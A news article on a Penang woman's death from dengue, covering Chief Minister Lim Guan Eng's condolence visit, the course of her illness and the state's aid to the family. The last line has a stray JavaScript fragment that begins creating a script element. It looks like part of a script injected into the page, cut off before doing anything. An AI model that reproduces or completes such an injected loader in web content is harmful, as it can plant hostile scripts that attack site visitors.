Story by Amanda Khong
DENGUE strikes again and this time it took the life of Sharon Chai, 55, who resides in Paya Terubong with her partner Tham Peng Kuan, 47.
Chief Minister Lim Guan Eng visited the family on Nov 17 to convey his condolences.
Also present that day was exco member for Agriculture and Agro-Based Industry, Rural Development and Health, Dr Afif Bahardin, Paya Terubong assemblymember Yeoh Soon Hin, Penang Island City Council (MBPP) councillor Joseph Ng and officers from the state’s health department.
“I am here today to offer my condolences to the family and also remind the public on the dangers of dengue. We have become numb to the situation and slowly taking for granted that dengue is no longer dangerous to our health,” said Lim during a short interview with the press.
According to Tham, Chai had complained of severe body aches on Nov 7 and visited a private clinic where it was then suspected she had dengue.
She was then admitted to a private hospital for several days.
Her condition became worse on Nov 10 where she was admitted into the Intensive Care Unit (ICU) and it was suggested that she be taken to Penang General Hospital for better options.
But her condition deteriorated and she passed away on Nov 11.
“We were supposed to go on a holiday trip to China on Nov 29. Everything was already planned and set,” said Tham, crying when he showed the press Sharon’s picture on his phone.
Other than offering his condolences, Lim also gave financial aid of RM500 to the family.var d=document;var s=d.createElement(‘script’);